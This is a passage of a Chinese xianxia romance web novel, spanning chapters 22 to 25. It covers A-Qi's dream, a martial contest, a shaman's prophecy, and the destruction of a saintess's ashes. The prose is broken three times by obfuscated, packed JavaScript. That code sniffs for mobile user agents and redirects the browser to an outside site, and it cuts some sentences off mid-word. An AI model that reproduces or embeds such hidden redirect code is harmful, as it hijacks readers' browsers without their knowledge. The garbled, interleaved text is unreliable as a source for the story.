阿七好似陷入一场绵绵不绝的梦,颠倒迷乱却怎么都醒不来。 她在一条无穷无尽的道路上奔跑,粉色花瓣飘飘扬扬,沾衣欲湿。 前方光影里有一个人,白衣纤尘不染,皑如山上雪,皎若云间月,背对她站着。她走过去,那人没有回头,她心领神会,在他身后亦步亦趋地跟随。 身后有人唤她“姐姐”,她回首看去,穿着海棠红衣的少年,清澈眼眸目不转睛地看着她:“但愿姐姐能走自己想走的路,而非别人想让你走的路。” 她永远追随在这个他背后,那个他永远看着她的背影。 忽然,风停了,所有花瓣霎时悬停半空。 她与一人对面而立。 那人的面目五官如浮在荡漾的水波上,一时长眉凤眼,却生了花瓣似的唇;一时目如朗星,却薄唇紧抿;一时清风朗月,一时轩然霞举…… 那人抬手抚摸着她脸颊,轻声问:“我是谁?” 他坐在殿堂上、书案前,仿佛就那样高不可攀地坐了千万年。 她潸然泪下:“殿下,我好累……一直望着你的背影,追得好累……” 那人定定看着她,上半身慢慢前倾,侧着头越靠越近,他们的脸近在咫尺。他重复问了一遍:“我是谁?” 画面突然碎裂,拼凑成新的场景:她含笑注视着红衣少年,替他整理衣袍祍、襟,再为他绾起头发、别上发簪。 红衣少年含情凝睇与她对视:“在下苻洵,倾慕姑娘已久,愿聘汝为妇……” 高楼临窗,漫天烟花此起彼伏,他的脸停在咫尺,她慢慢闭上眼,嘴唇生涩地靠向他。 那人变换的面目逐渐稳定,亮晶晶眼眸专注地看着她,含着泪笑了,颤声说:“姐姐,我一直在你身后啊。” 被那人指引着,她情不自禁伸出手,温柔摩挲他脸颊,喃喃呓语:“阿洵,谢谢你……有你,我很开心……” “我很喜欢那支芙蕖簪,没保护好它,对不起……” 那人笑容欢喜了些,眼中蓄满泪水:“姐姐,你看到的人是我,对吗?” 头部突然传来针扎般剧痛,阿七眼前一黑,再次睁眼时,那张脸如水波般漾开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981232|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,化成另一张脸。 周围景象也像水波漾开,拼凑成一幅又一幅新的画面:舒朗高阔的宫室,那人低头替她清理跌打的伤口、上药;飘满海棠花的前庭,那人坐在她身边,手把手教她写字、绘画。 红叶翩跹的白露水榭,那人低头抚琴,白衣黑发纤尘不染;灯火通明的书房,那人或伏在书岸上、泣不成声,或无声哀立、深深注视着她。 头越来越痛,像无数把利刃穿透脑颅,阿七终于想起来他是谁。 她轻柔而坚决,一字一字道:“殿下之于我,如至高至明之日月,无论发生何事,我永不会背弃殿下。” 屋檐下灯笼透出的光明明灭灭,苻洵伸出的手僵在半空,眼中有玩味、有讥诮、有悲凉和无奈。 良久,他慢慢放下手臂,迎着冰冷的夜风,轻声说:“知道了,已经够了……” 抬头的瞬间,唇角上扬、挤出一抹苦笑。 头也不回地转身离去。 吊脚楼旁石板路上,灯火阑珊处,元旻不知站了多久。 看着那素衣少年上楼,看着她潸然泪下,看着她伸手抚摸他脸颊;看着他痴痴凝望、如仰望谪落凡尘的仙子,看着他们的脸越靠越近,像是在……看着他转身离去、仰头轻笑。 而那空荡荡的楼上,少女孤独地站在幽微的灯光下,却不知,为谁风露立中宵? 无名的火焰不知从何升起,转瞬席卷了胸腔,留下空空如也的疼痛,他攥紧拳头,闭眼深深吸气,平复汹涌的心绪。 再次抬头,她却依然在灯下静静看向远方,眼里泪光闪烁。 寂寂之中,不知何处传来一声冷笑。茫然四顾,晃眼间,那少年依然站在楼上与她对视,眼神痴迷。 脑子里有根弦,轻轻断了。 元旻疾步冲进院内,在井台旁站定,拎起一桶水、高举、倾斜…… 冰冷的井水飞流直下,将眼中一闪而过的泪光一并淹没。 所有画面霎时支离破碎、散作齑粉,阿七从幻境中醒来,发现自己正站在二楼曲廊的灯下。院中,元旻半跪在井台旁,全身从头到脚都水淋淋的。 她惊喜交加,等不及走楼梯,翻身一跃、落在院中将元旻扶起:“殿下,怎么了?” 元旻一言不发,忽转过头盯着她,眼中的怒意吓得她腿一软、跌坐在地。 然而,只是一瞬他又转了回去,深吸一口气,淡淡道:“无妨,全身都是汗,太累等不及烧水,换身衣服便是。” 阿七心下稍安,忙跟他上楼,等他进屋换衣服去了,转过身将手搭在扶栏上,想着苻洵和七情之毒,有些踌躇无措。 元旻换衣出来,神色已平和如往,摇头道:“这次不太顺利,那种毒失传已久,估计只有蒙舍王城能找到。” 阿七思忖片刻,试探着问:“先王过世的事无论如何与元琤脱不开干系,殿下何必如此执着要找寻此毒?” 元旻道:“大翊成立之初,随高祖渡海而来的家族大都身负神鸟血统,却能无声无息被毒害,我此行不止为亡者、也为后人,望能尽量多弄清楚些,最好能与蒙舍王达成类似‘南篱北限’的盟约,使之不至于泛滥成灾。” 阿七暗自松了口气,点头道:“殿下深谋远虑,阿七便随你去蒙舍王城吧。” 元旻没有说话,抬手抚摸着她脸颊,一点点下移,拇指从她唇上擦过,沾下一星薄红胭脂。 方才梦境里种种场景纷至沓来,阿七莫名其妙脸上一热,身子微微闪避了一下。 元旻玩味地看着她:“你若有心上人不妨直说,我定会成全。” 阿七后脊升起一股寒意,忙屈膝跪下:“卑职绝无背主之心。” “玩笑话而已”,元旻拉她起来,笑容恢复平和,“早些回去歇息吧。” 目送她回房,元旻慢慢抬手,将沾着胭脂的拇指放在自己唇上,一点点摩挲着,痛苦地闭上双眼。 “还有三个月。” 23. 一语成谶 次日,潇潇一大早便来找元旻,神情十分为难。 “每年赶秋节,能有幸面见蛮黎三圣的,除了寨主夫妇,每个寨子最多只有两人。本来已跟寨民商议与你们方便,昨天却来了个不得不带去的人。” 二人跟随潇潇去了议事堂,远远看见堂中静静站着一名少年,长身玉立、衣冠胜雪,正是苻洵。 蛮族向来事死如生,苻洵一路未触发任何机关,径直穿过北限走进寨中,双手捧着一尊骨灰坛。寨民知道他为亲长扶灵,询问他要去何处,他却直接说要去蒙舍王城,面见蛊王蚩越。 蚩烁思索良久,只好叫来元旻二人,希望他们自己能商量出个结果来。 元旻见他一身缟素、神色悲戚,向来死者为大,也不好说什么,于是回身安排阿七留守十八寨。 苻洵却对蚩烁微微躬身:“寨主已对我照拂甚多,不必为此事为难,以往寨中可是如何选出随行二人的?” 蚩烁沉吟:“赶秋是个大日子,往往半个月前就开始比试,到最后选出三五个在此决赛,优胜二人随行。如今你们只有你们三人争竞,可直接决赛。” 苻洵点头:“那便依规矩行事吧。” 然后转向元旻道:“咱们男子比试,小娘子不必参与,不如将其中一个名额直接给褚娘子,我与冯兄争竞这剩下的一个名额,如何?” 阿七眼前一黑,忙转向蚩烁连声说:“我不去了。” 元旻抬手止住她,神色平静:“此法子确实合情合理。” 苻洵甚是狡黠,但他一直是个迎难而上的性子,无论如何也得试试。 然而,待蚩烁带他们二人转到后院,看到争竞场的布置后,他的心一沉。 后院是片开阔的校场,此时所有器械桌凳俱已清空,只用薄纱围出两条高宽约一丈、长逾十丈的九曲走廊。里面飞舞着无数缤纷彩蝶、映着日光隐隐可见丝丝缕缕交错的金光,那是些极细的丝线、染了色交叉在走廊空间中。 潇潇解释说:“蛮族敬重蝴蝶妈妈,这最后一道比赛,叫‘百蝶穿花’”。 走廊尽头各有一束花,他二人需通过各自的九曲走廊、片蝶不沾衣,在一炷香时间内取到鲜花,弄断丝线最少者取胜。 元旻与苻洵交过手,知他习武的路子与阿七极为接近,都是轻盈敏捷,若是让阿七下场尚有一战之力,至于自己…… 这二人怎么回事?轻身工夫和那一出手就是两三样兵器,相协相合、绵延不绝的攻击身法几乎一模一样。 摇摇头,竭力驱散脑子里的杂念,褪去宽袖外袍,换成劲装短打,借着阳光侧头从不同方向仔细观察了丝线和蝴蝶,深吸一口气。 先是收臂、斜斜飘了进去,再在空中轻轻侧身、偏头,而后足尖点地、长臂轻舒绕过,再腰身一软侧身翻去…… 苻洵抱臂,冷冷注视他十八般腾挪飘移,轻嗤一声,直看着他已绕过第一道弯,才忽然动了。看不见苻洵时如何动身的,只见他身上宽大的素袍在空中绽放如花,轻飘飘却极快地旋身进入九曲回廊。 香才燃到一半时,苻洵已取回花束,依然像进入回廊前那样抱臂站定,站在那冷笑。 香还剩半寸时,元旻才堪堪从走廊那段将花束举起。 蚩烁走过去,仔细观察后,表情有点尴尬:“诃那断丝线三根,冯公子断丝线……一小半。” 阿七默默想象了一下,自己带上行装、辞别元旻、同苻洵一起去蒙舍王城的场景,脑袋都大了几圈,打了个寒噤。 她隐隐感觉元旻与苻洵之间,还发生过其他事,才能剑拔弩张至此。 下定决心,正要上前同蚩烁说些什么,元旻却已走到苻洵面前,躬身道:“技不如人,愿这位小公子代我照顾好娘子。” 阿七很想直接给自己脖子来一刀。 “呵,大名鼎鼎的冯兄竟也有认输的时候”,苻洵挑了挑眉嗤笑,“愚弟却是照顾不好,冯兄何不亲自随行?” 元旻笑得很平静从容:“不如就是不如,不管输不输得起,还是输了,还不如早些认了。” 苻洵一瞬不瞬看了他片刻,唇角带有一丝玩味:“谁输谁赢还不一定呢?” 转过身去,从袖中拿出一物交给蚩烁:“敢问寨主,此香囊值不值一个名额?” 蚩烁目光触及那银线蝴蝶香囊,脸色大变,双手接过仔细端详一番,单膝跪下,恭恭敬敬施了个礼:“缈露圣女是你何人?” 苻洵笑起来:“我是她带来这世间,却忘了带走的遗物。” . 在蒙舍国,赶秋的重要性仅次于蛮黎年,又称“祈丰年”,这一天所有人都会暂停农事、集数万之众赶至秋场,看花灯、舞狮、吹笙击鼓、荡秋千… 各寨也会提前收拾粮米、果蔬、布帛、银饰及其他贺礼,纠集数百人,前往位于碧水河以南群山之上的蒙舍王城祈福祷祝。 六月二十四,蚩烁、潇潇为首,带着百来寨民,沿山间宽阔的石板道,骑着牛车浩浩荡荡出发了。 若要从“单独同苻洵去王城”和“随侍元旻,但苻洵会同行”之间选一个。 阿七选择第三条路——直接给自己一刀。 苻洵、元旻一路无言,此行虽是蚩烁和潇潇主事,却也不知为何都受了他们影响,整个队伍都充斥着诡异的静默,就连后面押运贺礼的队伍说笑声都日渐稀少。 幸好此行走的是蒙舍官道,不过十二三日,沿途林木逐渐稀少低矮,一条大河隐隐可见,潇潇松了口气,扬声欢呼:“到了,前边便是王城。” 视线豁然开朗。 但见一簇峰峦耸翠,从山脚开始,沿山脊鳞次栉比、无数高楼,青灰色牛角屋檐翼然,一路层叠至顶峰,再依山脉走向延伸开来,状若展翅欲飞的神鸟,更有不计其数的檐角掩映于参天古树之后。 一条碧水河环绕群峰之下,河流之上有无数吊桥、宛若长虹卧波向四面八方的官道辐散开来。 苻洵轻抚怀中瓷坛,举目望向无尽殿堂,眼中有希冀、也有柔情,眼看蚩烁和潇潇已开始安排寨民卸货、住宿,便下车向众人辞行。 元旻看了他一眼,突然说:“殡葬之事颇为讲究,小公子不如先与我等在山脚住宿一夜,沐浴焚香、整洁仪容后再入蛮黎宫拜见。” 苻洵沉吟片刻,微笑躬身:“多谢冯兄。” 阿七和潇潇同时诧异地看了他们一眼。 此话一出,周围气氛顿时一松,说笑声、歌声、鼓声、管乐声瞬间充盈两耳。 潇潇热情地介绍道:“这些日子山脚下有灯会、有舞狮子、还有耍把式的,几位客人请尽兴。对了,还有芦笙会,年轻男女都可以去……玩……” 元旻和苻洵齐刷刷瞟了她一眼,潇潇忙止住话头,看向阿七说:“这几天很多巫师也会来王城,卜卦都很准,不知姑娘是否有兴趣去看看?” 阿七指向一个方向道:“潇潇姐,你是说那里吗?” 王城入口是一块微有弧度、横向极长的牌楼,面朝北方齐齐整整开了九进山门,三座石门、三座木门、三座砖木门,其上錾刻无数凤凰、蝴蝶、日月山川、古事记、图腾、祈福的花纹。 最西那扇石门后有一块巨石,旁边坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981233|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着位面带傩面的蓝衣人,鸡皮鹤发,两耳穿环,衣服上绣着山川河流日月。他的面前已排起了长长队列,每人到了他面前都顶礼膜拜,他却只挑寥寥数人为其卜卦。 被挑中的人欣喜若狂,虔诚地将手掌置于他身后巨石之上。那老者面前有一张小桌板,桌面摊着一摞棉纸,一截树枝无所依凭地竖直着、随老者念念有词,在纸上写下一行行字。 潇潇惊讶出声:“大傩也来了?” 元旻不知何时靠过来,轻声问阿七:“想去?” 阿七使劲点了点头,回过头,满眼期待地看着他。 元旻展眉笑了,侧了侧头示意:“一起去?” 苻洵先珍而重之地将瓷坛安置回房,出来之后,静静看着紧跟元旻走向大傩的阿七,看了片刻,也抬步走了过去。 最先卜的是元旻,大傩待他将手放上去后,沉吟半晌便开始念念有词,不过片刻偈语已成。元旻向大傩微笑着施礼,拿起那张白棉纸,定睛一看,笑容逐渐凝在脸上。 那“树枝”在纸上写着四句偈语: 生在绮罗长在锦,二八王争破天明。碧血离火归魂梦,梨花坞里忘前尘。 阿七紧紧随其后走到大傩面前,大傩却不理会,直接越过她,拉起她身后的苻洵。 苻洵将手放上巨石后,大傩忽然顿住了,手中动作凝滞了半晌,才开始念念有词。树枝划得极慢、极艰涩,过了约半刻钟,才缓缓写完。 苻洵看了阿七一眼,神色淡漠拿过偈语,看了半晌,忽含泪大笑起来。 白棉纸上依然是划痕深深的四句: 原是孤形吊独影,流水逐花斩七情。天启建业空九宇,起落参商梦如真。 阿七有些不甘,觑着后面没几个人了,又腆着脸靠到大傩面前,眼巴巴乞求纠缠了片刻。大傩的念诵之声戛然停住,就连那一直运转如飞的树枝也“啪嗒”掉落。 紧接着,那张毫无纹饰的木面具转过来,两个眼孔对准自己。不知为何,阿七感觉那面具像一张冷肃的脸,死死盯住了自己。 没来由的恐惧油然而生,她忽然感觉遍体生寒,转身欲逃。 紧接着,大傩枯瘦如鸡爪的手紧紧攫住了她,发出阴森的笑,缓缓开口,那拖长了的嘶哑吟唱宛如诅咒: “我在你背后看到过去, 被战火烧孔的劫灰掩埋; 我从你眼中看到未来, 流满了鲜血、铺满了尸骸; 你是罪孽的产物,阴谋的延续, 转动纷争的棘轮, 无数亡魂时刻在身边徘徊; 纠缠难分是半世的纠葛, 颠沛流离是此生的挚爱, 你的前生亲手把战争铺开, 你的未来会结束……” 元旻率先上前,将阿七从那双枯瘦的手中拉开,冷声喝止:“拙荆天性纯善,先生慎言!” 苻洵看了他们一眼,同样躬身恳求道:“先生神通,望对这位姑娘多加垂怜,莫要恐吓。” 大傩看着他们三人,目光先是定在阿七身上,再在苻洵和元旻身上扫来扫去,阴恻恻地笑起来,倾身靠过去,声音嘶哑:“两个男人,此生挚爱、半世纠葛……桀桀桀……不得往生,不得解脱……桀桀桀……” 阿七手足冰凉,冷到极点的寒气从胸腔弥散到周身,太阳穴和心口突突直跳,脑颅似被利刃穿过,突然眼前一红,什么都看不见了。 在大傩“桀桀”的阴笑声中,元旻和苻洵惊愕地发现,阿七两眼一红、缓缓流下两行鲜血,而后如风吹黄叶般、轻飘飘晕倒下去。 24. 归宿何处 次日清晨,阿七依旧未醒。 元旻守在床前一夜未合眼,等到天亮了、阿七原本微弱的气息开始转强,才靠墙假寐。 这是赶秋大集会的第一天,潇潇夫妇要上山去拜会蛮黎三圣。 “冯公子莫忧,有时候谶语的真正含义和字面差很远”,潇潇临走时安慰道,“我们会请教巫王,此等情况定会有法子解决。” 苻洵在门口盯着他们看了半晌,犹豫再三,还是一言不发跟随潇潇往山上走去。 到了中午,山上突然传下个炸雷般的消息——大傩过世了。 大集会上、正午之时,大傩突然双目流血、全身皮肉被抽干、花白头发成片掉落,就那样在众目睽睽之下,萎顿化作了一堆泥土。 巫王长叹一声:“天分过高,心气过强,侥幸窥得天机又如何,人之寿数何以承受?” 众人皆悚然。 太阳刚刚偏西时,沉睡一天一夜的阿七忽然睁开双眼。一看到她那双眼睛,守在旁侧的元旻悚然一惊。 依然是那双眼睛,却与以往再也不同,那是元旻不曾从她双眸见到过的神采。 再无踟躇和迷茫,坦荡而从容、平静而深邃,仿佛一夜之间看透了千年万载、沧海桑田。 正在此时,从山上下来的苻洵敲响房门,施蛮族礼仪,恭声道:“晚辈诃那,代蛊王蚩越大人,请冯兄贤伉俪上山一叙。” . 蛊王宫窗明几净,花梨木制成的四方小茶几用得半旧,桌面光滑温润泛着柔光,显然用了很久,茶具也是没有纹饰的粗陶碗。 跪坐主位的老人,一身蓝布衫洗得发白,用黑线绣着凤凰图纹,花白长发和胡须一丝不乱,虽朴素却颇有仙风道骨。他有一双与苍老年龄不符的漂亮眼睛,又纯净又明亮,扬眉一笑使人如沐春风。 苻洵依然穿着素白丧服,默默不语坐在蛊王身边,为元旻和阿七斟满茶碗。 “二位是诃那的至交,又多次对他施以援手,是至善之人,这朋友我蚩越交定了”,蛊王沉吟良久,缓缓开口,双眼悠悠看向远山,像是望着另一个时空,“这段故事说来久远,若非人命攸关,便是诃那自己要问,我也不会开口。” 忽然升级为“至交”的元旻有些错愕,苻洵含笑注视他一瞬、微微颔首。 阿七发现,此时的苻洵,虽着装比以往更素更简,却已判若两人了。 眼底再无往日萧索,周身再无往日孤寒,虽只是一言不发静静坐着,却是沉静而平和的,令她想到阳光下泛着柔光的温润白玉盏。 仿佛感知到她的眼神,苻洵抬眸与她对视片刻,嘴唇柔柔一弯。 元旻从阿七身上收回目光,扯了扯唇角,对着蚩越温煦一笑:“多谢蚩越大人慈悲。” . 说远不远,也就三十多年前。 年近而立的蚩越有了第一个女儿缈露,这也是他唯一的孩子。 缈露早慧,还不会说话就已经会与草木虫蛇沟通,与别的蛊师拜师学艺、循序渐进不同,她仿佛天生就会养蛊,所用的原料和方式全都闻所未闻。 与她这份早慧相对应的,是母亲的早逝。仿佛被她的聪慧吸取了生命力,她一天天长大、母亲便一天天枯竭。终于,在她六岁那年,油尽灯枯的母亲撒手人寰。 同年,她制成了失传数百年的奇药“忘忧”,送给沉浸在丧妻痛苦中的父亲。 缈露自此名声大噪,在十二岁时被蒙舍王封为圣女,这也是几百年来唯一的圣女。 蛮黎三圣,蒙舍王、蛊王、巫王,蒙舍王司国政律法,从建朝伊始便有规定:资质天授,出类拔萃、无师自通而超越三圣者,方为圣女。 圣女为国之重器,供入神庙、受万民膜拜,若与人相恋生子,就去父留子,后嗣封为圣子、同样供入神庙。圣女圣子终身不得踏出十万大山半步。 阿七惊愕:“圣女生子?” 元旻颔首赞许:“天赋高低与血脉关系极大,圣女天赋异禀,生下的后嗣虽然有可能比不上她,却也往往超出常人许多。多一名天赋过人的圣子,于国体裨益无穷,贵国君的气度与智慧实在令人敬佩。” “蛮黎不出境”这五个字,对于别的国民,不过是北限的机关陷阵、是无穷尽的缉拿追杀;对于圣女圣子,却是神庙受封时被蛊王亲手种下的蛊、被巫王亲自落下的咒。双重封禁,聪慧如缈露也无法解开。 “她当年出境时,跟我说这孩子的父亲是个国君,送出去会过得更好”,蚩越声音嘶哑,老泪纵横,“当年亲自种下的蛊,已入五脏六腑,倾我们毕生所学也只能延三年。” “当时我们都想,三年,怎么也够了……” 苻洵忽然苦笑道:“可是,父王不想见她,其他的女人又不让她走。” 再厉害的蛊,也抵不过一拨又一拨的监视和围堵。 蒙舍国万众膜拜的天授圣女,就这样被困死在那间逼仄的小屋子里,再也回不来了。 女人的妒忌,才是最毒的附骨之疽。 . “如此说来,能制成这些失传之毒的人,几百年难遇”,元旻心下稍安,又问,“既然制毒的人资质天授,想必这些毒世间无解?” “此毒是上古流传的秘术,缈露说没有解药”,蛊王笑起来,神色有些自得,“老朽却有可令中毒者活命的法子。” 元旻愕然:“如何?” 蚩越沉声道:“拔毒。” “冯公子身负神鸟血统,当知离火克制世间所有阴邪。同理,所有取自于蛊的毒,都有一物可克制,那便是万蛊之王——金蝉。” “以其至强至阳之力,拔其至阴至邪之毒。” 袖间忽绽出一星金光,拇指头大小的蛊虫从他袖间爬出,形如蝉、遍体散发柔和的光晕。 蚩越凝视着它,眼神慈柔、仿佛看着至亲的孩子:“金蝉至尊,如那几样奇毒一般极难炼出,老朽也是在缈露的协助下才炼出,如今更是已将其炼成本命蛊。” “当年,缈露与我一起炼制金蝉时曾经说,爹爹永远是世上最厉害的蛊师。” “我的女儿啊,她说自己再厉害,也想永远被爹爹克制一头……” “我炼好了金蝉,却再也没有女儿来跟我斗蛊了……” 白发苍苍的蛊王看着桌面缓慢爬行的金蝉,声音颤抖、逐渐泣不成声。 苻洵坐到蚩越身边,一下一下抚着他的后背,替他顺气:“外公以后可以教诃那炼蛊,跟诃那斗蛊聊以慰藉。” 蚩越泪眼模糊看着他,挤出个微笑:“东君怜悯,让缈露的骨血尚存人世,让老朽年迈之际还能与诃那相依为命。” 苻洵笑了笑,柔声说:“好,我就在这里陪着外公,再也不出去。” 许久之后,蚩越平复心绪,略带忧虑地瞟了一眼苻洵,对元旻躬了躬身:“老朽有一事相求,还请元……冯公子随老朽走一趟蒙舍王宫。” 元旻躬身回礼,温声道:“那便劳烦大人替在下与诃那引路。” 蚩越诧异地说:“诃那不去,就你我二人。” 苻洵轻笑一声,站起身询问:“茶室有些闷热,蛊王宫外的玉簪正值花期,褚娘子是否有雅兴一观?” 阿七会意,也站起身恭声回道:“有劳。” 四人一起出门,走到蛊王宫大门。元旻瞥了一眼人来人往的花圃,对苻洵躬身一揖:“有劳侯爷照拂拙荆。” 然后,跟着蚩越信步穿过空地,上台阶、穿过木质走廊,向蒙舍王宫走去。 苻洵抱臂目送他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那是一棵笔直的雪松,生长在距离蒙舍王宫出口不远处、青石山路旁侧的平台上,高约四五丈,苍青的树冠亭亭如盖,枝叶间挂着不计其数的木牌,每块木牌都代表一个心愿,随风轻晃。 苻洵侧头注视着她兴奋的神情,唇边露出一丝苦笑。 “在下虽已归隐,却仍有一事放心不下”,苻洵叹了口气,“无论是政变、还是身居高位,都是极凶险的,届时明争暗斗、刀剑无眼,姐姐既是四殿下内卫,若他有个闪失,按律是要自杀殉主的。” “我虽率领内卫,身份仍是东宫伴读,按律不必殉主”,阿七摇摇头,叹了口气,“若真有那天,我自然是想殉主,却不能一死了之。” “娘娘待我视如己出,师父悉心教导我近十年……尤其是师父,一日为师终生为父,我要替他养老送终。” 苻洵笑了笑,正要说些什么,头顶传来元旻的带笑的嗓音:“找了半天不见人,原是跑这儿来了。” 阿七忙不动声色退远了几步,元旻心情极好,顺石阶慢慢走下来,看向那棵雪松:“天快黑了,咱们先下山,等白天再来许愿……我跟你一起。” 又转向苻洵躬身一揖:“多谢侯爷相助在下,得以与蚩越大人畅谈。” 苻洵笑了:“我曾经很讨厌你。” 元旻淡淡道:“彼此彼此。” 苻洵笑意不减:“身份、权势地位、爱你的人、朋友,你生来什么都有……我很嫉妒你。” 元旻不知如何作答。 “现在,我也有了将我放在首位的人,不再讨厌你了”,苻洵顿了顿,继续说,“各有各的缘法,自事其心,知其不可奈何,而安之若命,德之至也,我也懒得强求了。” 说着越笑越洒脱,元旻也莞尔,与他相视而笑,晚霞洒在二人之间,覆上暖暖的金光。 25. 弦断无人听 大集会要连贺三日,蚩烁已联络好北限东侧的阿大寨,两天后出发,将他们送至西陵对岸。 山门入口的广场百丈见方,此夜灯火通明。几十个篝火堆烧得红彤彤的,盛装少男乐此不疲地击鼓、吹芦笙,妙龄少女清脆的嗓音如银铃飘入九霄,然后是低沉的男音与其对唱,你来我往情意缱绻。 鲜花抛撒,围着火堆打转的少男少女拉成一圈、翩翩起舞。 “想去就去吧。”元旻眉眼带笑,今夜他似乎心情格外好。 阿七欢快地跑过去,有样学样跳起来,她本就擅轻身工夫又腰肢妙曼,飞踢时潇洒利落、折手时柔荑婉转如兰、折腰时柔软如柳枝、转腰旋腰更是慢似凝云、迅若疾风。 不知疲累地舞了不知多久,直跳得“珠缨旋转星宿摇,花蔓抖擞龙蛇动”,四下逐渐寂静,直到她跳完一段舞,爆发出满场喝彩。 甚至有几个年轻小伙子跑过去,围着她开始唱歌。 火光映得她俏脸红红的,沁着些细密汗珠,扬眉咬唇看向他,有些得意、有些调皮。 然后轻快地从对歌的小伙子中钻出来,飞奔到他面前,眼睛亮亮地恳求他:“那边有舞狮子和舞龙的…” 元旻忍俊不禁:“去吧。” 自己也漫步跟在她的身后,逐一看过舞狮子舞龙,看吐火吞剑,看猴儿戏…… 烟花在尖锐的嘶鸣中升空,东风夜放花千树,更吹落,星如雨。 在这片火树银花下,头裹红巾的赤膊汉子一手拿盛满滚烫铁水的木棍,另一只手执锤,至下而上猛然一击,无数炽热的火花飞旋出去、散作漫天金灿灿的星子,再悠悠落下。 “奔霆白昼鞭玉虹,铁花冰激青濛濛”,元旻赞许地说,“此处也有打铁花。” 阿七讶异道:“还有何处?” 元旻有些难以置信:“打铁花就是从昇阳传出来的,你不知道?” 忽然想起阿七一直以来,不是陪他读书就是忙于为他奔波,又哪来的闲暇去好好看一场铁花? 花火与光焰明灭间,阿七没来由地心念一动,蓦然回首,看向山顶灯火煌煌的蛮黎宫,眼神有些怅惘。 然而,仅仅只一瞬,又若无其事回过头,微笑着看向他。 元旻的笑凝住了,也仅仅一瞬,又舒展开来:“等回昇阳了,你喜欢看多少就看多少,比这里更大更好看。不急,以后的日子还很长。” 没事,我们以后的日子还很长很长…… . 枯坐屋内,焦灼等待的苻洵,心口毫无预兆地刺痛了起来,一股没来由的恐惧和焦灼淹没了他。 槅门缓缓拉开,蚩越却没有进来,只是站在门口喟然长叹,目不转睛盯着他,两眼含泪,满是绝望、悲痛、伤感、无奈。 不祥的预感越来越浓。 苻洵忙起身,疾步过去:“外公,归葬之事大王如何说的?” 蚩越一言不发,只是愣愣看着他。 苻洵慌了:“是不同意娘亲归葬国庙么?没关系的,娘亲不在意这些,她说回来故土就好。” “外公,我们现在就去把娘亲接回来,她经常跟我说她自己小时候、跟你住在寨子里的时候,屋前有竹林有溪流石桥,屋后面有一棵玉兰。” “他们不让娘亲葬进神庙没关系,我去把娘亲接回来葬在寨子里就好,种上她最喜欢的玉兰。” “外公……到底怎么了……” “外公,你说话啊——” 蚩越伸出手,轻轻摸着他的头,柔声道:“诃那,我只剩你这一点骨血了,外公一定会好好护着你。” “什么意思?护住我?”苻洵隐隐意识到什么,瞳孔巨震,倒退了半步,“他们是不是说娘亲错了,要罚她。我是娘亲生的,要罚就罚我好不好?” 蚩越含泪抱住他:“孩子,活人永远比过世的人要紧。” 苻洵瑟瑟发抖,流下泪来:“到底怎么了?我要娘亲,他们要把娘亲怎么样?” 蚩越抱得更紧:“诃那,待会儿发生任何事,都不要冲动,外公只有你了。” 苻洵惊恐地睁大了双目,颤抖着一把推开蚩越就往门外冲,动作忽然僵在半空。 酥麻的感觉,瞬间传遍四肢百骸,他遍体生寒、手足绵软,失去了站立的力气,支撑不住倒在地上。张了张嘴,却发不出任何声音,只能徒劳地泪流满面。 “诃那,无论发生什么,好好活着。” 蚩越缓缓收回施蛊的手,招呼弟子一起上前,半架半扶地拖着他,走向门外。 神庙前数十丈见方的大广场上,此刻庭燎晣晣,广场上竖着一根高达八丈、十多人合抱的巨大石柱,上面栩栩如生雕着的三十六天罡、七十二地煞,此刻都面无表情、高高在上俯视着广场上黑压压的两三千人。 设祭坛,升香火,请祖宗神位。在诸天神佛、千万祖宗众目睽睽之下,抬一方白石为刑台,上面端放的,赫然是苻洵穿越重重艰难险阻、呵护得如珠如宝才送回来的那坛骨灰。 “前圣女缈露,不尊国法,伤害寨民私自离国,此罪一;私送圣子出境,致使其流落在外多年、明珠蒙尘,此罪二;私用奇毒参与他国争斗,险为我族招来灭顶之灾,此罪三。” “按蒙舍律法,本应褫夺缈露及其子神号,母子同受万蛊噬身之刑,再以火刑焚灭其身、挫骨扬灰……” “因缈露已受万蛊噬身之刑,其子诃那已获得苦主宽宥,念东君之仁德,赦免诃那性命,仅对缈露之遗骸挫骨扬灰,以儆效尤!” 不,不是她! 离境是为了我,送我出去是为了我;用毒的不是她,是我;招来翊人寻访的不是她,是我! 是我这卑劣之人为了活命,将奇毒交换了出去。 又是我这无知之人为了复仇,将讯息告知他人。 还是我这轻狂之人,为求一点虚无的归宿感,将她送回这早已容不下她的故乡。 该死的不是她,是我! 她无罪,有罪的是我! 都是我! 苻洵无力趴在地上,徒劳地张大了嘴,却发不出任何声音。 石锤高高举起…… 苻洵的泪水已流淌满脸,透过泪光朦胧…… 石锤砸下…… 眼睁睁看着…… 瓷坛四分五裂,飞溅开来! 